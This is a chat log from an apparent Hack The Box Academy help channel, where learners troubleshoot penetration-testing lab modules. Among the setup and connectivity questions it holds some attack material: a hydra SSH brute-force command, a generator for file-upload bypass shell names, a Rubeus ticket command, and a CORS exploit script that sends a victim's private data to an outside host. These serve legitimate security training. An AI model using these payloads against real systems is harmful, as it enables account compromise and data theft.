#modules

1 messages · Page 243 of 1

cerulean grail
#

For anyone interested, the highlighted part is what misled me. I removed the trailing period from my answer and it was accepted.

next bronze
#

ah yeah always use view page source

primal mesa
#

Hi everyone,

Module: User Account Control

I just want to check if my understanding is correct.
Simplified: For UAC, the user is granted 2 tokens, 1 as low priv user and 1 for Admin. It is still possible to run powershell and cmd as Admin, without any modification, transferring dll?

Is the objective of the exercise is it so that the attacker would become less noisy? Or what exactly is controlled/limited?

next bronze
fading olive
#

Hello, I am working on Password Attacks, "Credential Hunting in Linux". I am supposed to find the password of user Will and the hint says I should try to connect as user "Kira" using variations of the password "LoveYou1". I've created a mutated password list using the custom.rule that I created in the "Password Mutation" Section. I ran it using the command 'hydra -l Kira -P LoveYou1mut.list -s 22 -t 16 ssh://ip_address' however nothing came up. I do not really know what to try next.

fathom pendant
#

Also kira lowercase since it's a linux host

fading olive
fathom pendant
#

In general

#

Ssh is an extremely slow service

fading olive
pliant coyote
#

Why can't I transfer this kind of slightly larger file?

winged egret
#

hello guys I am trying to do a reverse port forwarding with ssh. however, when I enter the command ssh -R 172.16.1.5:9000:10.10.15.110:4444 htb-student@10.129.205.170 the pivot host is only listening on 127.0.0.1. Any help ?

twilit wharf
#

In the ADCS module, ESC1 section, certipy auth fails on my side like this

[*] Using principal: administrator@lab.local
[*] Trying to get TGT...
[-] Got error: [Errno 104] Connection reset by peer

I have set DNS records in /etc/hosts to cover lab.local and lab-dc.lab.local. I have tried the exact same command as in the module and some variations as well. Everytime my AS-REP request against the Kerberos endpoint does not get an answer and times out (recorded with Wireshark). Interestingly, I have also had this exact experience in an engagement a couple of weeks ago, though there was some special config on my client side. Anybody knows what may be going on?

I am using version 4.8.2.

next bronze
#

it's a network/firewall issue, for labs resetting usually fixes it, if it's irl then yeah check with client

fathom pendant
#

\\ip\sharename\file.extension

#

Or just \\ip\sharename\

quaint dagger
#

hey everyone, how do i open the contents of a completed module? been taking a break and need to revisit some specifics from a module i finished

fathom pendant
#

When you click on the completed module you can click "retake" to open it again, or if it's in a list like a job role or skill path clicking "view" will open it to the first section

feral sapphire
#

Hey ppl, what is alternative to Pwnbox for free users. can i just use any ather vm to complete task?

fathom pendant
fathom pendant
pliant coyote
#

I've been stuck for a long time.

fathom pendant
#

It would show up under \\tsclient\sharename

undone cypress
#

HI! Can you push me in the right direction?
Advanced SQL Injections
Introduction to PostgreSQL
Questions - 4

#

HI! Can you push me in the right direction?

To answer the question, do I need to combine 3 tables?
What is the best way?
With subqueries or UNION and JOIN operators:?

pliant coyote
#

And I can't use the command using cmd opened with administrator privileges.

fathom pendant
vivid sigil
#

I got stuck in getting started module

can you help me ?

fathom pendant
#

Looks like you launched it from /home/

pliant coyote
#

yes

fathom pendant
fathom pendant
pliant coyote
#

I'll try.

fathom pendant
#

/home/ isn't generally a writeable directory

#

/drive:share,/tmp/

pliant coyote
#

This kind of detail is too deadly for newbies

vivid sigil
#

List the SMB shares available on the target host. Connect to the available share as the bob user. Once connected, access the folder called 'flag' and submit the contents of the flag.txt file.

smbclient -U bob ////ip//users

it doesn`t work

pliant coyote
#

It's working,thanks!!!

next bronze
primal mesa
vivid sigil
vivid sigil
next bronze
next bronze
vivid sigil
next bronze
#

nope one of those work

#

how about you give the exact command you used and the error

astral gazelle
#

Hy

rustic sage
#

Anyone had/having issues with the Attacking FTP target host keeping the FTP port closed? For the Attacking Common Services section

#

I wait enough time i would think for everything on the target to spin up, port stays closed regardless

vivid sigil
next bronze
#

//ip/share or \\\\ip\\share

vivid sigil
long garden
#

okay im new here and having a little difficulty, not sure where to ask lol

#

so I have set up a box, I go to ping the ip and it comes up destination host unreachable? Does that mean theres a problem with the box?

rustic sage
#

Your VPN connection is fine? double check the terminal

#

or are you using browser?

long garden
#

how would I check that? im in my own VM

#

again appologies im brand new lol

rustic sage
#

the openvpn connection output in the terminal you connected from

long garden
#

ah just checked that think its sorted it

pliant coyote
fathom pendant
#

Not enough space

#

Sounds like you didn't allocate a lot of storage to your vm

pliant coyote
#

It's pwnbox

fathom pendant
#

Then something sounds like it's not set up right, try dragging and dropping the file with GUI

nocturne reef
#

Hey I am doing the wordPress module. last assigntment where we have to upload a web shell via a theme. The problem is that I can not seem to able to enter the admin panel. I am trying to brute force the password using rockyou.txt with wpscan but it is really slow

pliant coyote
inland shoal
#

Connect to the target and enumerate the available network shares. What is the password of the Administrator2 user?

for the WINDOWS ATTACKS & DEFENSE module, I cant find this tool Invoke-ShareFinder anywhere, am i supposed to download it?

wispy jetty
#

🚨 🚨 🚨 HELLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLP PLEASE: i tried to reset my pssd but i didn't got any email from HTB, what to do?

wispy jetty
#

@inland shoal i checked it many time

inland shoal
#

idk but dont message here, go ask general chat or support

wispy jetty
#

@inland shoal ok tnx

rustic sage
#

I have done much of THM and I take a break from ctf now I want to dive in more so make HTB account

silver zenith
#

hello, in the module shells and payload The Live Engagement, how do i get the creds for the tomcat manager

#

fuck got them from the hint

#

si i was forced to check an hint?

fringe urchin
#

The creds can be obtained by || looking around in one of those 4 machines ||

silver zenith
#

couldnt find server.xml

#

didnt look good enough then

fringe urchin
silver zenith
#

that explains

inland shoal
fringe urchin
winged egret
#

they basically hand you the creds when you rdp

crystal kayak
#

Am I missing something here? Why would one just assume 'nibbles' was the password because it showed up in a few places in config file. There are numerous other words that could easily be the password in that file. This seems like a massive stretch to try this thought process for a real world engagement.

silver zenith
#

yeah

#

im dumbhaha found them

#

thanks guys

trail leaf
#

Any preliminary reviews of the binary fuzzing module?

fringe urchin
fringe urchin
quiet tendon
#

So basically I am new here, I am trying to follow the pen test path in HTB academy, is it normal that almost all the time I need to use "show solution" to finish the question?

fringe urchin
#

Not sure if they still do it like that on the labs(since nibbles is old machine)

next bronze
#

to be fair it is similar to the username and using username as pass is pretty common

#

and there are tools to scrape the webpages to get a wordlist, did that in one of my recent engagements

fringe urchin
#

Well most ppl try user:user or with admin or tomcat etc. Sure if i get a michael ill try its name aswell but i think as a beginner you wont think about it.

next bronze
#

yeah it makes sense but not intuitive

fringe urchin
acoustic owl
# quiet tendon So basically I am new here, I am trying to follow the pen test path in HTB acade...

No. You should try to understand the content so that you know why something works the way it does.
Have you already taken the Information Security Foundations Path https://academy.hackthebox.com/path/preview/information-security-foundations ?

rustic sage
#

Comrades, good day, I hope you are well. A guide to understanding the management of nessus? In the vulnerability assessment module, I think it's not so deep because I see that I have some gaps to handle the tool well, that I'm not saying that it's wrong, but I see that I need to go deeper into this topic

long garden
#

is there any reason why Kali linux takes forever to get smbclient?

quiet tendon
#

Just another quick question let say for example this question: " Based on the last result, find out which operating system it belongs to. Submit the name of the operating system as result." In that module, I basically read through and understand every single one of those nmap command is doing, but through the solution, it mention that the number of ttl provide us the information of the operating system, there are not a piece of information in that chapter have mention about the details of this term, is it because I need to take that info security foundation skill path first to know what the "ttl" indicate? or it is something I should google myself?

acoustic owl
fringe urchin
# quiet tendon Just another quick question let say for example this question: " Based on the la...

Well id say 99% of ppl should have heard about ttl of you visited a highschool/college about computer stuff. But yea best bet is to learn about it via google.
Ttl stands for "time to live", refers to the amount of time or “hops” that a packet is set to exist inside a network before being discarded by a router.
The default initial TTL value for Linux/Unix is 64, and TTL value for Windows is 128.

So for example if you see a value close to 128, like example 127 etc you would know we work with a windows machine

quiet tendon
#

Well not sure what is the point to mention 99 % of the people have heard about ttl. luckly I know what ttl is but just don't know it can use to identify operating system.

fringe urchin
fringe urchin
#

Thats the provided module ip?

silver zenith
#

back2school

long garden
#

If I can't update smbclient with sudo apt install does that mean I cant complete the module?

arctic cobalt
#

Hey before taking ecppt what are the pre requisits ?? like can i directly go for it ?? how difficult is it?

next bronze
#

ecppt? wrong server?

acoustic owl
flint bane
#

@haughty stirrup

trail lynx
#

Can someone help me?

acoustic owl
trail lynx
#

I try to dowload the file but it still tell me that network error for hours$

trail lynx
acoustic owl
trail lynx
#

it is good now thank you

loud dagger
#

oh boy i am really really not a fan of subnetting

crystal kayak
#

this upgrading the tty is just not working. I've been at it for about an hour now. Once I bring nc back to the fg hitting enter does nada. I just get those weird letters. CTRL-C doesn't work either and I have to just kill the window. if yall have seen this before let me know. ChatGPT just gave me the same instructions as HTB

crystal kayak
#

wtf, why does that work with putting fg on the same line

#

I would have spent another month trying to sort that out

cerulean grail
#

Hi, could anyone please help me understand what am I meant to do here?
Identify if its possible to perform a zone transfer and submit the TXT record as the answer. (Format: HTB{...))

I have an FQDN (a subdomain) I found in a previous solution. I try to use dig on it but none of the TXT files appear to be using the requested format. I'm not sure I'm completely understanding what's required of me here.

crystal kayak
#

To perform a zone transfer on a subdomain, follow the same steps as for a regular domain:

Identify the authoritative DNS server for the subdomain.
Use a DNS querying tool like dig or nslookup to attempt a zone transfer against the authoritative DNS server.
Analyze the results to see if the zone transfer was successful and to extract any relevant DNS records, including TXT records.

-ChatGPT

cerulean grail
zealous rune
#

hi guys, i'm just trying to complete the end of module test for "Information Gathering Web Edition"

#

I'm uncertain what this question is looking for: Perform active infrastructure identification against the host https://i.imgur.com. What server name is returned for the host?

#

server name as in it's hostname?

distant island
#

file upload attacks : Blacklist Filters MODULE
i upload the file succfullly but i cannt excute it

zealous rune
glacial island
#

Can someone help me, i need to edit the /etc/proxychains.conf for a module but i dont have permission

zealous rune
#

maybe just "sudo vi /etc/proxychains.conf"?

cerulean grail
zealous rune
#

use the zone transfer also on any subdomains you find

#

the syntax is

glacial island
zealous rune
#

the dig syntax is: dig <query type> <target domain/subdomain> @nameserverIP

#

query type can be axfr

wheat geyser
#

Lol

zealous rune
#

yeah sorry

#

didn't mean to `@~1 u

wheat geyser
#

No worries

fathom pendant
distant island
#

but the white listed is crazy hard

#

u did it ?

distant island
#

if anyone can help me i tired every thing for hours i keep giving me this

#

file upload attacks : white Filters MODULE

cloud urchin
#

There are 3 ways to bypass it in that section. Your screenshot shows one way. Did you try the other 2 ways?

fossil wing
#

Hi, anyone know how to download the cheat sheets of academy in .md or the old extensión that modules have

distant island
#

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\' '.' '…' ':'; do
for ext in '.php' '.phps' '.phar' '.phtml'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done

cloud urchin
#

not sure you'd have to look

distant island
cloud urchin
#

i did: use another method taught in the section that's not character injection

dim wolf
#

doesn't burp suite help with this

distant island
cloud urchin
#

DM me

distant island
#

ok

fast onyx
#

Hey everyone! Long time reader, first time....writer? i am currently stuck on the "Shells & Payloads"/Infiltrating Windows section/ Question 3: Basically gain shell and find flag.txt, when I print the flag it seams to be corrupted or encrypted in some way and I was wondering if someone could provide some incite to what i can try?

cloud urchin
amber ore
# distant island ok

I got all the way to the final assessment for this entire File Uploads Module. However i felt uneasy about my knowledge, so I rebooted the entire module from section 1.1

#

I got stuck on type filters for like 3 days

distant island
inner geyser
#

Anyone else having issues with Targets Spawning? Been waiting 5-10 minutes and seems like it's not going to happen

native prawn
#

hey guys, anyone else having issues with the website? very slow loading times, connection dies randomly

inner geyser
#

Haven't really had an issue with the HTB Academy site, but my targets aren't spawning so hanging it up for awhile

short hare
#

I tried the exact same method explained in the section

  1. Double URL encoded the python rev shell code
  2. put the above in the html file and save it
  3. sudo nc -nvlp 9090
  4. Uploaded the malicious html file

But no reverse shell sus

ocean arch
#

If I want to use my own box for doing the modules is there a trick to getting similar / the same helper files as on the htb machines? e.g. common usernames etc

ebon condor
#

I am on the ZAP Scanner section of the Using Web Proxies module. The question indicates to use ZAP Scan and leverage the high vulnerability that is identified. I've scanned a number of areas and ZAP doesn't seem to identify any high vulns. At this point I'm not sure if I missed something or maybe ZAP just isn't playing well and I'm wasting my time. TIA.

pliant coyote
#

What the hell is this account, I've been trying for a long time with no luck

limber surge
#

FOOTPRINTING > SNMP
can hint me for this
Enumerate the custom script that is running on the system and submit its output as the answer.

snmpwalk -v2c -c public 10.129.26.8
( But i dont see the flag??)

pliant coyote
#

jmarston?

shut quest
pliant coyote
#

I used a script that included this name, but I don't seem to have had any success, I'm going to try it again now using this name

shut quest
shut quest
# ocean arch If I want to use my own box for doing the modules is there a trick to getting si...

I assume you're asking about seclists? If you have Kali or Parrot they both should come with it. Else you can just grab it here

https://github.com/danielmiessler/SecLists

GitHub

SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, pas...

shut quest
eager ledge
#

Hi, I am doing the Password Attacks Lab - Medium. I have run out of options and I would really appreciate few hints on what to do next.

What I have done so far:
||1. Decrypted the Documentation.docx from the Samba share and got password for j* user.||
||2. SSH into the server, enumerate the MySQL server and got creds for d* user.||

I have checked various steps mentioned in Credential Hunting in Linux, but I cannot find anything for privilege escalation.

fathom pendant
#

Also: heavy spoilers with usernames and such

cloud urchin
eager ledge
shut quest
#

I was going to suggest to substitute user, basic but easy win with new creds.

fathom pendant
#

Spoiler tags do nothing, you can easily redact usernames with first initial *

#

I.e. j* and d*

#

Those that have done it will generally be able to understand where you're at and assist from there

eager ledge
#

I have edited the usernames

eager ledge
cloud urchin
eager ledge
eager ledge
cloud urchin
#

if that's the case i'd say hunt for hidden files/folders

fathom pendant
fathom pendant
cloud urchin
#

i'm definitely not

fathom pendant
#

This one doesn't have creds in history

shut quest
fathom pendant
#

Yeah I was referring to plaintext creds

#

Something is interesting about the history though

shut quest
eager ledge
#

I found one log that suggests CVE of 2018, but I don't think that is the right direction. Other than that, I can't find anything.

cloud urchin
#

DM me

astral beacon
#

Sometime,I about to give up in some section until I realized that I forgot to connect the vpn

short hare
short hare
short hare
limber surge
inland shoal
#

After performing the previous attack, connect to DC1 (172.16.18.3) as 'htb-student:HTB_@cademy_stdnt!' and make the appropriate change to the registry to prevent the PrinterBug attack. Then, restart DC1 and try the same attack again. What is the error message seen when running dementor.py?
Can someone please give me the answer for this ffs (WINDOWS ATTACKS & DEFENSE Module)

#

I got the answer by following the steps but its not accepting it
||[-] exception RPRN SessionError: code: 0x6ab - RPC_S_INVALID_NET_ADDR - The network address is invalid.||

fathom pendant
#

Maybe the error code is the RPC_... part

inland shoal
#

this is the hint given though Copy and paste the entire error message, starting with [-]

#

wait i think i missed out the 'restart DC step' thats why

fathom pendant
#

Lol

boreal crest
#

Hey guys! Can I get some help with the CORS Misconfiguration module? I have an exploit on the Exploit Server but the withCredentials doesnt seem to be working, the xhr request just takes me to the 'Sign In' 'Sign Up' page (unauthenticated)

Here is my exploit:

    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://vulnerablesite.htb:54234/profile.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      var doc = new DOMParser().parseFromString(xhr.response, 'text/html');
      var msg = encodeURIComponent(doc.getElementById('private-message'));
          location = 'https://exfiltrate.htb:54234/log?data=' + btoa(msg);
    };
    xhr.send();
</script>
paper crag
#

Anyone here managed to complete the Whitebox Attacks module Skills Assessment? Having a complete mare with it at the moment...

bright crag
#

Hello, am trying to do blind sql injection module RCE part and I do not know why but the server is not making the http request to download the nc.exe hosted on my server.
I tried with ping and indeed the command is executed but my PC does not reply, I enabled the firewall rules

short zenith
#

do i still get access to the course materials if i finish it and my subscription expires ?

slender pebble
#

sounds dumb but what is the answer to the question from Attacking Common Applications -> ColdFusion - Discovery & Enumeration. I tried every protocol i found but nothing was right

fading oracle
#

Hi guys! Did anyone do this module?
Module: Active Directory Trust Attacks
Section: Unconstrained Delegation
Link: https://academy.hackthebox.com/module/253/section/2803
Question: Abuse Unconstrained Delegation to get the TGT of DC01$ and submit the flag located at \DC01\UCD_flag\flag.txt

i replicated the attack as mentioned in the module but either the Spoolsample is not working or i dont know because there are now TGT appearing.
Also the environment is really slow and connection is keep erroring out. Please HTB at least the paid things should work properly.

next bronze
fading oracle
#

i did exactly the same

next bronze
#

then Idk, the tgt for DC01$ appeared and it worked

undone cypress
fading oracle
#

Anyway i did it from linux...

haughty tree
#

nvm I got it

tribal plinth
tribal plinth
haughty tree
#

Where was the channel for reporting typos in modules?

tribal plinth
analog dock
acoustic owl
analog dock
dim wolf
#

i'm for this new change

inland shoal
#

for the WINDOWS ATTACKS & DEFENSE (PKI - ESC1) module, what should i do with my cert.pfx file? running this command in bob machine does nothing

.\Rubeus.exe asktgt /domain:eagle.local /user:Administrator /certificate:cert.pfx /dc:dc1.eagle.local /ptt

#

am i supposed to be transferring the pfx file to bob machine?

inner tinsel
#

hi

inland shoal
ebon condor
shut quest
rustic sage
#

Hey, I need help with this following problem. The question is
How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)
I've tried this and get 3
||netstat -ln4 | grep "LISTEN" | grep -vE "127" | wc -l||
can anyone help?

(NVM got it!)

upper haven
# boreal crest Hey guys! Can I get some help with the CORS Misconfiguration module? I have an e...

Hi, I just tested your exploit and it works if you deliver it to the victim (although there is a minor issue that will prevent you from getting the flag). However, the reason why it does not work for you locally might be because of your browser's settings regarding third-party tracking. For instance, I just tried your exploit in the default configuration of Burp's builtin Chromium browser, and it does not work, but generates the attached warning in the Console. To prevent this from occurring, adjust the browser settings accordingly. I'm going to add a note to the section to make it more clear. 🙂

boreal crest
#

Oooh that makes a lot more sense! So just for my knowledge, do you have a default setup browser to not encounter these issues? Cuz I tried the same in Firefox and encountered the same issue

high reef
#

I'm doing the skill assessment on Attacking Common Application. i need some help

#

I've scanned the vhost and did a FUZZ on it

#

but can't seem to find the correct url

high reef
#

??

torpid vortex
#

Hello, very good, the reason for this post is because I am having problems logging into my hack the box account.
I am providing the correct credentials but for some strange reason it does not allow me to log in, it tells me that the credentials are invalid
and when trying to reset the password with the email I do not receive any email from htb to reset the password, this is what it tells me:If this e-mail exists, then you will receive a reset link at: xxxxxxx@gmail.com But I am not receiving said email

torpid vortex
past compass
#

Module: Attacking web applications with ffuf
High ms on pwnbox locations.

#

Anyone else facing this issue?

late galleon
#

can anybody help me with Privilege Escalation - Nibbles?

acoustic owl
glacial island
#

Can someone help me doing the second thing, i have the cookie but i dont now how to continue

acoustic owl
acoustic owl
late galleon
glacial island
#

USING WEB PROXIES module
and zapo fuzzer

#

I have search for the txt and hashed it with md5, but idk what is the result

glacial island
#

root
admin
test
guest
info
adm
mysql
user
administrator
oracle
ftp
pi
puppet
ansible
ec2-user
vagrant
azureuser

#

Teh thing is do i have to fuzz the cookie with the username in md5

acoustic owl
#

Read the chapter Processors again

glacial island
#

I mean i undestandd that, but i dont know what where should i fuzz in the response, to get the username

acoustic owl
#

Read the question again

#

The directory we found above sets the cookie to the md5 hash of the username, as we can see the md5 cookie in the request for the (guest) user. Visit '/skills/' to get a request with a cookie, then try to use ZAP Fuzzer to fuzz the cookie for different md5 hashed usernames to get the flag. Use the "top-usernames-shortlist.txt" wordlist from Seclists.

wind basin
#

I need help on conditional branching in Intro to Assembly Language. The question is "The attached assembly code loops forever. Try to modify (mov rax, 5) to make it not loop. What hex value prevents the loop?".

I am pretty sure that if I change rax to 2 then it wont loop. But I am not sure what hex value it wants. I have tried 0xA, 0x10 and many more but just doesnt work. Below is the assembly code:

global _start

section .text
_start:
mov rax, 5 ; change here
imul rax, 5
loop:
cmp rax, 10
jnz loop

cedar yew
#

hello guys,

Sometimes i want to connect to machine and i take this output

└─$ xfreerdp /v:10.129.111.13 /u:htb-student /p:Academy_student_AD! /dynamic-resolution
[20:14:51:613] [4368:4369] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[20:14:51:613] [4368:4369] [WARN][com.freerdp.crypto] - CN = ACADEMY-EA-MS01.INLANEFREIGHT.LOCAL
[20:15:00:652] [4368:4369] [ERROR][com.freerdp.core.connection] - Timeout waiting for activation
[20:15:00:654] [4368:4368] [ERROR][com.freerdp.core] - freerdp_abort_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_CANCELLED [0x0002000B]

boreal crest
shut quest
loud dagger
#

hey is it worth doing the basic toolset path if i'm also planning on doing the CPTS path? i just want to get a headstart on solving ctfs and stuff like that

fathom pendant
#

Cpts path won't really help with ctfs tbqh

#

There's some stuff that's useful like footprinting and basic service stuff

#

But the overall focus is a domain env

loud dagger
#

oh yeah that makes sense

fathom pendant
#

Ctf environments are different, and often not interconnected

loud dagger
#

how do i learn how to solve ctfs

fathom pendant
#

Look up past ctfs and published challenges, read solves for them, take notes

#

There's also the challenges section of htb labs

patent niche
#

I am stuck on the same problem sadglas

loud dagger
#

wouldn't there be similar techniques and tools though?

#

since i mean the overall goal is still enumeration, exploitation, privesc, and post exploitation (usually)

#

is the process really that different?

fathom pendant
#

CTFs don't often focus on just PWN

#

There's a variety of categories

loud dagger
#

oh true

#

is the best way to learn ctfs really just to read writeups for ctfs?

fathom pendant
#

Pretty much, yeah

#

As in cases with HTB hosted ctfs sometimes there's "repeat" or "reprisal" challenges, which are basically v2/v3 of a popular challenge or a challenge that didn't get a lot of solves

loud dagger
#

ic

#

CPTS is meant more to simulate actual corporate environments right?

fathom pendant
#

Yup

loud dagger
#

that makes sense

fathom pendant
#

A low security posture environment, but a realistic environment nonetheless

static roost
#

Can use a nudge on question 3 for NTLM Relay attack skills assessment. peas and tanks

sleek moss
#

why cant i xfreerdp i RDP to with user "htb-student" and password "Academy_student_AD!" i do this and i try toxfreerdp but it always say [12:56:47:827] [2561:2562] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[12:56:47:827] [2561:2562] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[12:56:47:827] [2561:2562] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[12:56:47:827] [2561:2562] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1
i reset like 20 times

slate meadow
#

I am facing trouble with threat hunting module skill assesment hunt 2

fathom pendant
sleek moss
#

ik i log in but the freerdp screen is just black and never loads i can login

fathom pendant
#

Press enter

devout torrent
#

Iwhat happened to old eratum

hasty grail
#

xfreerdp /u:Username /p:Password /v:Target_IP

i can't access this

fathom pendant
twilit copper
#

Why I can't talk to general ?

fathom pendant
twilit copper
#

is done so I can't

#

oh I see

devout torrent
fathom pendant
#

It's probably archived

#

So not gone forever

#

I would prefer they made it read only and warned people it was changing

distant island
#

whats wrong in this
module
Nginx reverse proxy & AJP SERVER_SIDE ATTACK

cloud urchin
distant island
cloud urchin
#

yeah, you have all the server info commented out, so it's not actually running which is why you get a failure to connect

#

that configuration file is going to ignore anything with a # before it

distant island
#

i know the module saied comment it I removed the # and still the same

cloud urchin
#

pay closer attention to how the module says to set it up, you're missing stuff in your server block

rustic quiver
#

So guys im a bit confused. I'm doing the common service attack on the ftp section, and i'm trying to enumerate ftp like it said but the port is closed. is this some kind of glitch?? if the port is closed you cant do anything with ftp right?

zealous rune
#

just compleeted the vulnerability scanners module. Didn't enjoy that one as much as the one's previouuus

#

oh well

#

I did have a general question, which I will also post in cpts. As I have been going through the modules it occurs to me that some snippets to automate bit's of the methodology I'm learning would come in handy. For example:

enumeration with NMAP. start with host discovery scan. thenn Probably always a top 1k port scan for tcp and udp. then feeding that into another sweep for version and script scanning of ports found. While kicking off a full tcp port scan.

then for dns enumeration for subdomains. Can probably chain together some scripts for passive and active methods.

Wondering what type of automation snippets ppl have found useful to build up

cloud urchin
#

while automation can be good, i personally would want to inspect it all manually anyway in case the tool missed something

zealous rune
#

yeah I agree. but there's some stuff that can be kicked off up front and then we can go back and get more manual

#

i guess since we talking about building our own automation, we will know exactly what the scripts are doing so if need be we can go back and take another look

#

I think what i need is a bit of a conclusion oooor list of tools for each stage in my notes

soft plume
#

I have been trying this but when I do the command ||qemu-nbd -c /dev/nbd0 Backup.vhd ||it gives me this error; after I use --format=raw it then gives me "Failed to set NBD socket"

fathom pendant
#

i didn't have any issues ¯_(ツ)_/¯

#

If you're able to access it and get the files then you're fine

soft plume
#

I cant lol

sleek moss
#

whenever i xfreerdp into the machine its just black?? and i reset it like 10 times but it just remains black how do i fix

fathom pendant
#

Did you unlock it?

fathom pendant
sleek moss
#

oh danke

#

howd u figure that out

fathom pendant
#

Many people have had the same question

soft plume
# fathom pendant Did you unlock it?

Wdym? I have cracked the password and that's the farthest I've gotten. Been trying to mount this so I can unlock it but I have yet to have success

fathom pendant
#

It's literally just the "this is a domain joined computer, and you agree to use this computer for work purposes"

fathom pendant
#

It literally details how to identify and fully mount the bitlocker vhd

soft plume
fathom pendant
#

It'll allow you to unlock and access the encrypted drive, yes

#

That command is only one part of the process

#

If the device was unencrypted, then that'd be it. Buy since it's encrypted, there's more to do

soft plume
#

yea nope, I tried the commands 4 tiems in a row each time closely looking at it and I still can't seem to understand why it's not working

fathom pendant
#

don't copy word for word obviously

#

but needless to say; it works on my machine

#

I would also be sure to check that it didn't get messed up in transfer

soft plume
#

yea and you also said the first command I sent worked fine and it's not working on mine 😭

fathom pendant
#

no, i said the first command is only the first step for encrpyted drives

fathom pendant
#

if you run file Backup.vhd

fathom pendant
# soft plume ?

as in I don't recall having any major issues after doing all the steps

#

they worked fine for me

#

if there were any errors i either ignored them or i just didn't pay attention

hallow remnant
#

MODULE: Whitebox Attacks
SECTION: Authentication Bypass

I'm a little hung-up on the exercise. Reading through the code, I'm a little hung-up on the way forward:

  • I tried testing against various "admin" account values, including magic hashes.
  • Upon scrutiny, I saw that the profile.php page renders its output based on the user input, not the database entry. So I've tried assorted values like "qweasdadmin", knowing the hash is being compared against null values, but since hash() returns a string, I don't see a match-up working.

Can I get a nudge?

soft plume
fathom pendant
#

again it's a multipart process and the steps are laid out right there

acoustic owl
fathom pendant
#

the nbd part is only part of the process of fully mounting it

#

think of qemu-nbd command as prepping it

#

like allocating a partition for it

soft plume
fathom pendant
#

I don't see an error; i see a warning

#

warnings != error

#

did you modprobe nbd?

soft plume
#

yes

#

gimme a sec

#

Ok the first one wasn't working because I was usign the wrong partition, but the cryptsetup command is giving me:

#

I got the qemu*

fathom pendant
#

look at lsblk

#

the guide used /dev/nbd0p2

soft plume
#

Is there a command to get to nbd0p2? because on my lsblk I don't have one

fathom pendant
#

well your nbd partition might not be p2

#

look at the nbd partition; then discern from there which partition the data is on

#

it might be nbd0p1

soft plume
#

So when I did qemu, I did sudo qemu-nbd -c /dev/nbd2 Backup.vhd --format=raw

#

and no p2 or p1 was created

#

it just added it to the nbd2

fathom pendant
#

what does lsblk show

soft plume
#

I tried a different version, where you use loop100 and the same thing happened

#

where no p1 or p2 were created

fathom pendant
#

christ you have so many nbds

soft plume
#

yeaa Idk why tbh

#

maybe because I Just used the command so many times 😭

fathom pendant
#

if you do file Backup.vhd what does it say

#

i would just download a new Backup.vhd

#

it sounds also it shows there might be some data on those nbd sections

#

but you fucked it so many times that idek

soft plume
#

The data on the nbd is me putting the backup onto it lol

fathom pendant
#

and if you do ls -la Backup.vhd it's not showing as empty?

#

(it's not large iirc)

#

I would honestly restart your system as well

soft plume
#

It was pretty big I thoughht

fathom pendant
#

ok so it's not empty

soft plume
#

yea igot the password from it

fathom pendant
#

sec

soft plume
#

maybe Ill have to just restart and redue this whole part tomorrow when Im not frusterated haha

fathom pendant
#

i'm just testing it again on pwnbox

fathom pendant
#

wanna feel dumb as hell?

#

run qemu-nbd command with sudo

inner geyser
#

looking for a quick pointer on base64 encoding...I'm sure I'm missing something easy. I'd rather place the output of encoding into a file, copy the file over and then decode the file itself on the target machine...i.e.

base64 linikatz.sh > linitext.txt
-upload to target
base64 -d linitext.txt > linikatz.sh

hashes don't match up between attacker/target machines....so something is obviously wrong. Is it because i'm encoding the file instead of the script within the file?

Proper way in documentation for the module I'm working in to encode would be something like:

cat linikatz.sh | base64 -w 0;echo
then to decode:
echo -n '<output>' | base64 -d > linikatz.sh

next bronze
#

how ad you uploading it? also what's wrong with just uploading as is? there's usually no need to encode

inner geyser
#

python server on attacker machine....wget on target to pull the file

next bronze
#

you can wget without having to encode

#

sh is text based anyways, b64 wouldn't do much

inner geyser
#

i transferred without encoding before and running hte transferred script vs. local linikatz.sh on the server provide different results...so obviously the two could just be different but looking at them they appear to be mostly the same

#

but i didn't look at every single line yet

next bronze
#

compare hashes but I doubt it's anything to do with encoding

#

use tcp vpn, if you use udp you might drop packets and lose data

inner geyser
#

yeah it's something with the file, thanks for the input

fathom pendant
#

also i believe b64 adds an extra newline from what i remember

#

which could also explain the different hashes

soft plume
#

I got that commn ad

fathom pendant
dapper island
#

Hi guys how are u

#

I need a team

fathom pendant
#

read and follow #welcome to access more of the server

soft plume
#

my problem isnt that one anymore, it was the partitions werent showing up

fathom pendant
#

literally just 5 seconds ago

dapper island
#

Then can u say me please which certificates are necessery for beginners?

soft plume
soft plume
dapper island
fathom pendant
dapper island
soft plume
#

he's talking about my bio

fathom pendant
#

bro read #welcome to see how to access more of the server or just leave

#

this isn't a gen chat channel

#

if you wanna know about what certs you should aim for there's even a #careers-and-certs channel

soft plume
#

maybe I just have to redownload it then?

fathom pendant
#

looks like it's an issue with nbd?

#

try sudo modprobe nbd again

#

and maybe try a different dev

#

i just noticed when you modprobe nbd it generates like 15 nbd devices

soft plume
#

yea

#

I read that somewhere

fathom pendant
#

anyway

#

it's weird that it's not doing anything and i'm assuming your kali is updated

soft plume
#

yea idk, also maybe it has to do with the file

#

hence the "raw" part

fathom pendant
#

nope

#

look at my Screenshot

soft plume
#

ahh

fathom pendant
#

this is the md5sum of my Backup.vhd

soft plume
#

I see waht you mean, hmm Idk then Ill try to redue them

#

nah didnt work

fathom pendant
#

is yours the same or diff?

soft plume
#

lemme look at those

#

my is 104M in the seocnd command

#

